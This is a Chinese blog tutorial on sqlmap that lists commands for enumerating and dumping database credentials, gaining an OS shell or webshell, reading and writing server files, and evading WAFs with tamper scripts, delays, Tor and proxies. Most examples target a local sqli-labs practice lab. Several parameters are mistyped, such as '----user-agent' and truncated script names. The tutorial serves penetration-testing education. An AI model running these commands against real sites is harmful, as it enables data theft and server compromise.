富贵长生天做主由不得我
钢骨正气我做主由不得天

sqlmap注入基本教程

一套基础的sqlmap语句:

python sqlmap.py -u "http://xxxxx/x?id=1" --dbs(或者--current-db)
python sqlmap.py -u "http://xxxxx/x?id=1" -D database_name --tables
python sqlmap.py -u "http://xxxxx/x?id=1" -D database_name -T table_name --columns
python sqlmap.py -u "http://xxxxx/x?id=1" -D database_name -T table_name -C "id,user,password" --dump

用到的参数

复制代码
--technique    sqlmap中的注入技术
--batch   默认选择,自动运行
--current-db  当前数据库
--current-user  当前数据库用户名
--is-dba  查看当前用户是否为管理员权限
--data   post型注入时的post数据
--threads  最大并发线程(不要超过10)
-r  跟http请求头的头部文件.txt
--cookie  cookie注入
--level   探测等级,3最好,5最全面
--sql-shell   运行自定义sql语句
--os-shell  运行操作系统命令
--file-read  从数据库中读取文件
--file-write "本机路径" --file-dest "服务器路径"  上传文件
--tamper   跟自带绕过脚本
--time-sec=60 延时,用来绕waf
复制代码
复制代码
过WAF
--identify-waf 检测是否有waf
--random-agent -v 2 使用任意浏览器进行绕过
--hpp -v 3 使用HTTP 参数污染进行绕过
--proxy=211.211.211.211:8080 --proxy-cred=211:985 使用代理
--flush-session 清空会话,重构注入
--hex 进行字符码转换
--mobile 对移动端的服务器进行注入
--tor  匿名注入
--delay=3.5 --time-sec=60 使用长的延时来避免触发WAF的机制
复制代码

0x01 –technique参数

—technique是为sqlmap中的注入技术,在sqlmap中其支持5中不同模式的注入

B:Boolean-based-blind  (布尔型盲注)
E:Error-based   (报错型注入)
U:Union query-based  (联合注入)
S:Starked queries   (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)
T:Time-based blind  (基于时间延迟注入)

例如sqlmap语句:

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" --technique E --dbs --batch

0x02 –data参数和–threads参数

post注入时,post的数据就放在–data后,–threads加快跑的速率,不要超过10

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-11/?id=1" --data "uname=1&passwd=11&submit=Submit"
--technique UES 
--dbms mysql --dbs --threads 8

0x03 -r参数

将HTTP请求包的内容放在一个txt文件里面,cookie可以不用放,然后-r跟上txt文件的路径,让sqlmap自动跑,这里要注意将可能出现sql注入的请求参数的值后面要跟上”*“符号

python sqlmap.py -r 1.txt --dbs --threads 8 --technique BTES
或者 
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-18/" --user-agent="Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0*" --level 4 --dbs --threads 10 --technique BEST

如果知道sql注入的确切位置,那么这里可以直接使用第二种方式注入

0x04 –cookie参数

web应用基于cookie的身份验证,对于post请求,可以指定cookie,cookie注入时直接使用这个参数
sqlmap -u "url" --cookie="..." --level 3 –-dbs

0x05 –os-shell 参数

知道数据库为管理员权限,并且知道网址根目录,那么使用这一个参数,可以上传webshell和反弹shell。

用–is-dba查看是否为管理员权限

0x06 –file-read参数

知道网站的一些文件的目录,或者网站服务器里面的固定文件的目录,那么可以使用这个参数来读取文件内容:

python sqlmap.py -u "http://127.0.0.1/?id=1" --file-read "C:/windows/win.ini"

0x07 –file-write  –file-dest参数

--file-write "本机选择上传文件的路径" --file-dest "服务器根目录路径"  
知道一个站点存在sql注入且知道网站根目录的前提下可使用此参数

0x08 –tamper 参数

–tamper参数专门跟一些脚本的,比如说sqlmap自带的一些绕过的脚本

python sqlmap.py xxxx --tamper "脚本名"

常用的绕过脚本:

复制代码
apostrophemask.py 用utf8代替引号
equaltolike.py  对等号的绕过,用like代替等号
greatest.py  MySQL中绕过过滤’>’
space2hash.py 绕过空格的过滤
halfversionedmorekeywords.py mysql数据库绕过防火墙
ase64encode.py  将语句用base64编码
between.py  替换>号
space2plus.py  用+替换空格
chardoubleencode.py 双url编码
randomcase.py  随机大小写
randomcomments.py  用/**/分割sql关键字
复制代码

0x09 tamper脚本参数组合策略绕过WAF

针对mysql数据库:

复制代码
--random-agent -v 2 -delay=3.5 --tamper=space2hash.py,modsecurityversioned.py

--random-agent --hpp  --tamper=space2mysqldash.p,versionedmorekeywords.py

-delay=3.5  ----user-agent=" Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/38.0.696.12 Safari/534.24” --tamper=apostrophemask.py,equaltolike.py
复制代码

针对mssql

复制代码
-delay=3.5  ----user-agent=" Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/38.0.696.12 Safari/534.24” --tamper=randomcase.py,charencode.py

--delay=3.5 --hpp --tamper=space2comment.py,randomcase.py

--delay=3.5 --time-sec=120  --tamper=space2mssqlblank.py,securesphere.py

--delay=3.5 --tamper=unionalltounion.py,base64encode.p
复制代码

针对oracle:

--delay=5 --random-agent --hpp --tamper=unmagicquotes.py,unionalltounion.py

--delay=5--user-agent =“Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0” --hpp --tamper=charunicodeencode.py,chardoubleencode.py
赞(0)
版权声明:本文采用知识共享 署名4.0国际许可协议 [BY-NC-SA] 进行授权
文章名称:《sqlmap注入基本教程》
文章链接:https://www.lolmm.cn/stwd/608.html
本站资源仅供个人学习交流,请于下载后24小时内删除,不允许用于商业用途,否则法律问题自行承担。

评论 抢沙发

评论前必须登录!